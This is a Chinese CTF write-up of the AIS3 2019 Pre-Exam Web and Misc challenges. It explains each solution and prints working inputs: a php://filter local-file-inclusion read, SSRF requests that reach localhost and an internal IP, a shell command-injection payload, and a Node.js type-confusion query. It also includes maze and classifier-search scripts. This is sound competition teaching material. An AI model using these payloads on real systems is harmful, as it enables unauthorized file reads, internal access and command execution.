AIS3 2019 Pre-Exam 解法

2019-05-28

AIS3 Pre-Exam CTF 部分的 Web 和 Misc 題目。今年 pre-exam 跟 MyFirstCTF 合辦,所以題目難度多為中偏易。

原始碼在這裡

Hidden (Web, 134 Solves)

這題是用 Parcel(類似 webpack 的東西) 打包 Vue.js 原始碼,所以看起來很噁。進去 /main.019417bd.js 搜尋 "flag" 會找到:

...
var e=t(require("./flag.js"))
...
{"./flag.js":"nHHx"}
...

此時可以我們可以推測原始碼有 import flag.js 這個動作。雖然你不知道 parcel 是怎麼包的,你還是心癢搜尋了 "nHHx",然後發現一串看起來超像處理 require 的 code。

...
"nHHx":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default=void 0;var r=function(){return function(){var r=Array.prototype.slice.call(arguments),t=r.shift();return r.reverse().map(function(r,e){return String.fromCharCode(r-t-25-e)}).join("")}(12,144,165,95,167,140,95,157,94,164,91,122,111,102)+4..toString(36).toLowerCase()+21..toString(36).toLowerCase().split("").map(function(r){return String.fromCharCode(r.charCodeAt()+-13)}).join("")+1234274547001..toString(36).toLowerCase()+21..toString(36).toLowerCase().split("").map(function(r){return String.fromCharCode(r.charCodeAt()+-13)}).join("")+579..toString(36).toLowerCase()+function(){var r=Array.prototype.slice.call(arguments),t=r.shift();return r.reverse().map(function(r,e){return String.fromCharCode(r-t-44-e)}).join("")}(18,190,127,170,113)};exports.default=r;
},{}],"Js2s":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,
...

仔細看會發現最後面有 export.defaults = r,所以我們把 r 拿出來執行看看:

var r = function () {
  return function () {
    var r = Array.prototype.slice.call(arguments),
      t = r.shift();
    return r.reverse().map(function (r, e) {
      return String.fromCharCode(r - t - 25 - e)
    }).join("")
  }(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + 4..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13) }).join("") + 1234274547001..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13) }).join("") + 579..toString(36).toLowerCase() + function () { var r = Array.prototype.slice.call(arguments), t = r.shift(); return r.reverse().map(function (r, e) { return String.fromCharCode(r - t - 44 - e) }).join("") }(18, 190, 127, 170, 113)
}
    
console.log(r());
// AIS3{4r3_y0u_4_fr0n73nd_g33k?}

d1v1n6 (Web, 115 Solves)

首先,?path=hint.txt 是在提示有 LFI 漏洞可以用,所以正常來說會想讀 index.php 來看。

/?path=index.php

但是因為有擋關鍵字 "flag",所以要用 PHP filter 繞過(base64 或 rot13 都可):

/?path=php://filter/convert.base64-encode/resource=index.php

成功的話會拿到原始碼:

<?php

    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {

        // show path of the flag
        die($_ENV['FLAG_HINT']);
    }


    if ($path = @$_GET['path']) {
        $path = trim($path);

        if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
            // resolve ip address
            $ip = gethostbyname($g[1]);

            // no local request
            if ($ip == '127.0.0.1' || $ip == '0.0.0.0')
                die('Do not request to localhost!');
        }

        // no flag in path
        $path = preg_replace('/flag/i', '', $path);

        if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) {

            // no flag in content
            if (preg_match('/flag/i', $content)) {
                die('Detected "flag" in content. Not showing!');
            }

            die($content);
        }

        die('No content or failed to get content.');
    }

?>
<h2>d1v1n6</h2>
<a href="?path=hint.txt">Hint</a>

這題目標是用 127.0.0.1 對自己做 request 去看 flag 的路徑。(注意:這裡常見的 X-Forwarded-For 是沒屁用的)

if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {

    // show path of the flag
    die($_ENV['FLAG_HINT']);
}

但是這題出壞了,下面這行多了一個 s,所以好像有人用 localhost 就可以過。G_G

if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {

原本應該是這樣:

if (preg_match('/https?:\/\/([^\/]+)/i', $path, $g)) {

原本的考點是利用 127.0.0.0/8 或者 redirect。

/?path=php://filter/convert.base64-encode/resource=http://127.87.87.87/

也可以塞大便到 hostname,然而 request 還是照樣能成功。

/?path=php://filter/convert.base64-encode/resource=http://@127.0.0.1

d1v1n6 d33p3r (Web, 16 Solves)

拿到上一題的 flag 之後會順便給 hint:

                 ^`.                     o
 ^_              \  \                  o  o
 \ \             {   \                 o
 {  \           /     `~~~--__
 {   \___----~~'              `~~-_     ______          _____
  \                         /// a  `~._(_||___)________/___
  / /~~~~-, ,__.    ,      ///  __,,,,)      o  ______/    \
  \/      \/    `~~~;   ,---~~-_`~= \ \------o-'            \
                   /   /            / /
                  '._.'           _/_/
                                  ';|\
Your flag:
  AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}

Hints for d1v1n6 d33p3r:
- Find the other web server in the internal network.
- Scanning is forbidden and not necessary.

目標是要找到內網的另一台主機,看到這個可能會很想執行 ifconfig 看網卡資訊,但 Linux 有很多特殊檔案可以直接讀。例如可以讀 /proc/net/fib_trie

Main:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1    <--- 這是本機
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.19.0.0/16 2 0 2
        +-- 172.19.0.0/30 2 0 2
           |-- 172.19.0.0
              /32 link BROADCAST
              /16 link UNICAST
           |-- 172.19.0.3    <--- 這是本機
              /32 host LOCAL
        |-- 172.19.255.255
           /32 link BROADCAST

你會看到一堆網段,照直覺試了上一題主機附近的 IP 很容易就會找到 d1v1n6 d33p3r 主機的 IP。這個範例是 172.19.0.2(可能跟比賽時不一樣)。

找到主機之後,是一個可以列出目錄的網頁,看他的 output 就知道絕對是 command injection 的洞。如果你 inject 不出來其實是因為參數有加單引號。Flag 在 index.php 裡面,後面參數記得要 URL encode 兩次。

/?path=http://172.19.0.2?dir=.';cat%2520index.php;'

會回傳

<h2>Directory Lister</h2>
<p>Let's hack my stupid webpage for d1v1n6 d33p3r</p>

<form>
    <input type="text" name="dir" value="./">
    <input type="submit" value="List!">
</form>

    <pre>Output:
total 12
dr-xr-xr-x 1 www-data www-data 4096 May 28 06:09 .
drwxr-xr-x 1 root     root     4096 May  8 02:30 ..
-rw-r--r-- 1 root     root      344 May 23 21:21 index.php
<h2>Directory Lister</h2>
<p>Let's hack my stupid webpage for d1v1n6 d33p3r</p>

<form>
    <input type="text" name="dir" value="./">
    <input type="submit" value="List!">
</form>

<?php if ($dir = @$_GET['dir']): ?>
    <pre>Output:
<?= shell_exec("ls -al '$dir'") ?>
</pre>
<?php endif; exit; ?>
AIS3{y0u_4r3_4bl3_70_d1v3_d33p3r_n3x7_71m3}
</pre>

tokeeeeen (Web, 6 Solves)

這題首先要看 package.json,裡面有 server 原始碼位置,在 server.js:

const FLAG = process.env.FLAG;
const HOST = process.env.HOST;
const PORT = process.env.PORT;

let express = require('express');
let morgan = require('morgan');

let app = express();
app.use(morgan(':remote-addr :method :url')); // logging
app.use('/', express.static('./'));

class TokenError extends Error {}

app.get('/flag', (req, res) => {
  try {
    let token = req.query.token;

    if (!token)
      throw new TokenError('Not provided.');

    if (token.length > 32)
      throw new TokenError(`Bro, ${token.length} is too long!`);

    if (0 < token.length < 16)
      throw new TokenError('No, please.');
    
  } catch (e) {
    if (e instanceof TokenError) {
      res.send(e.message);
      return;
    }
  }
  
  res.send(FLAG);
});

app.listen(PORT, HOST);
  • try 裡面的最後一個 if 的條件其實永遠是 true,因為 JavaScript 會把它當成 (0 < token.length) < 16
  • 要想辦法在拋出 TokenError 之前拋出其他 Error,這樣才不會被 catch 裡面的 if 抓到。
  • 事實上你可以把 token 塞成奇怪的東西,例如 ?token[length]=xxx 可以讓 token 變成 {length: "xxx"} 這個 object,從回傳的錯誤訊息中就可以發現這件事情。
  • 也可以把 token.length 塞成 object,例如 ?token[length][x]=x 會讓 token 變成 {length: {x: "x"}}

所以就塞 token[length][toString]=xxxtoken.length.toString 搞成不能 call 的東西,以下這行就會爆:

// ...
    if (token.length > 32) // <------- 注意!是這行喔!
      throw new TokenError(`Bro, ${token.length} is too long!`);
// ...

錯誤為:

TypeError: Cannot convert object to primitive value

好啦,對不起,這題有點深奧。來扯一下 JavaScript 底層好了。從 high-level 的角度來看,object 和 number 比較的時候,為了讓不知道是三小的 object 能夠和 primitive type 有個比較基準,會先把 object 轉成 primitive type,簡略來說會有以下流程:

  • if object.valueOf is callable and its return value is a primitive type, use the return value.
  • else if object.toString is callable and its return value is a primitive type, use the return value.
  • else throw TypeError

以上其實是黑箱出來的。根本沒人想去理解怪異的 JavaScript,誰用一個語言會有空去讀它的規格?

  • 12.9.3 Runtime Semantics: Evaluation
    定義了比較如何進行,可以看到大於運算子是在 GetValue 之後使用 Abstract Relational Comparison 來計算結果。
  • 7.2.11 Abstract Relational Comparison
    說明了比較式兩邊的值都會被 ToPrimitive,要用 ToPrimitive 的結果來進行一系列比較。例如若 ToPrimitive 回傳兩個字串,會去看右邊是不是左邊的 prefix, 'ab' > 'a' 的結果為何就是定義在這裡。不過重點還是 ToPrimitive,因為比較任何東西都會用 ToPrimitive 轉成 primitive type。
  • 7.1.1 ToPrimitive ( input [, PreferredType] )
    我們可以直接看表格下面 Object 的部分,首先它會看 object 有沒有 Symbol.toPrimitive 成員函數,如果有的話就拿回傳值來用,假設回傳值不是 primitive type 就噴錯。如果沒有 Symbol.toPrimitive 會使用 OrdinaryToPrimitive 過程判斷的結果。OrdinaryToPrimitive 照順序會呼叫 valueOf()toString() 假設能 call 而且回傳值不是 Object 就使用它,如果最後拿不到 primitive type 的話會噴 TypeError
  • 本題因為 valueOf() 的回傳值是 {} 而且 toString() 不能 call 所以丟出 TypeError

附上 Node.js 的實作:

突然沒有這麼討厭 JavaScript 了

弄出 Error 之後他就會吐 flag 給你

AIS3{1_d0n7_w4n7_70_wr173_j4v45cr1p7_4nym0r3}

Crystal Maze (Misc, 152 Solves)

就真的隨便寫個 DFS 找出口,如果你念資訊相關的還寫不出來真的要打屁股了啦。

import sys, time
from firstblood.all import *

HOST = sys.argv[1]
PORT = int(sys.argv[2])

def test(path):
    t = time.time()
    c = uio.tcp(HOST, PORT).lines([move + '\n' for move in path])
    result = [c.readline() for _ in range(2 + len(path))][-1].strip().split()[1]
    print(time.time() - t)
    if result == 'ok':
        return True
    elif result not in ('timeout', 'wall'):
        print(result)
        sys.exit()
    return False

moves = {
    'up': lambda x, y: (x, y + 1),
    'right': lambda x, y: (x + 1, y),
    'down': lambda x, y: (x, y - 1),
    'left': lambda x, y: (x - 1, y),
}

def dfs(path=[], visited=[(0, 0)]):
    pos = visited[-1]
    for move, move_func in moves.items():
        pos_ = move_func(*pos)
        if pos_ not in visited:
            path_ = path + [move]
            if test(path_):
                dfs(path_, visited + [pos_])

dfs()

加起來不到十秒就出來了

AIS3{4R3_Y0U_RUNN1NG_45_F45T_45_CRY5T4L?}

看過一些人的腳本,那些會 timeout 的都是沒有把所有 input 一起送出去,而是每一步都等 server 吐東西回來再送。經過測試就算跳 VPN 或用 SSH tunnel 每次走都能在一秒內跑完。難道真的有人的 VPN 在非洲或者連 tor 來解嗎,哈哈。那些走不出來的應該是忘記考慮不能走走過的地方?如果你真的是網路慢,我只能說遺憾了,因為比賽途中也沒辦法幫你看是不是你 IO 寫得不夠快。

Mind Reading (Misc, 21 Solves)

這題把 flag 拿去練 classifier。其實去年 DEF CON CTF Qualifier 有類似的題目,不過更噁心,是丟圖片進去的。

看題目 code 的最後面會發現有個 flag_score() 是計算 input 有多像 flag。怕有人不會用 keras 或者不熟 numpy,所以把很多東西都寫好了,甚至直接 import 題目腳本就可以。

#!/usr/bin/env python3

import numpy as np
import random
from model import chars, load_model

model = load_model('model.h5')

n = model.layers[0].input_length # flag length
k = len(chars)

def mutate(seq, m=1):
    seq = seq.copy()
    for i, j in zip(np.random.randint(n, size=m), np.random.randint(k, size=m)):
        seq[i] = j
    return seq

best_seq = np.random.randint(k, size=n)

while True:
    candidates = np.stack([mutate(best_seq, 1) for _ in range(4096)])

    scores = model.predict(candidates).reshape(-1)
    best_idx = scores.argmax()
    best_seq = candidates[best_idx]
    best_score = scores[best_idx]
    print(''.join(map(chars.__getitem__, best_seq)), best_score)

    if best_score == 1.0:
        break

大概跑個幾秒就出來了

AIS3{YOU_REALLY_DID_A_GOOD_JOB}

這個腳本就是每次稍微隨便改一下目前的 input,生一堆有點差異的 input 出來,選分數高的,一直選到最後就會越來越像 flag。有個地方要注意,就是即使 score 等於 1 也不代表 input 就是 flag,不過 score 等於 1 的時候已經夠你猜出 flag 裡面是什麼單字了。去年 DEF CON CTF Qualifier 我們還是用字典爆破法才猜到 flag。

懶得試只靠梯度能不能解,不過應該也是可以,如果能的話就是把 input 變成 trainable,原本的層都固定,拿去梯度遞減就好了。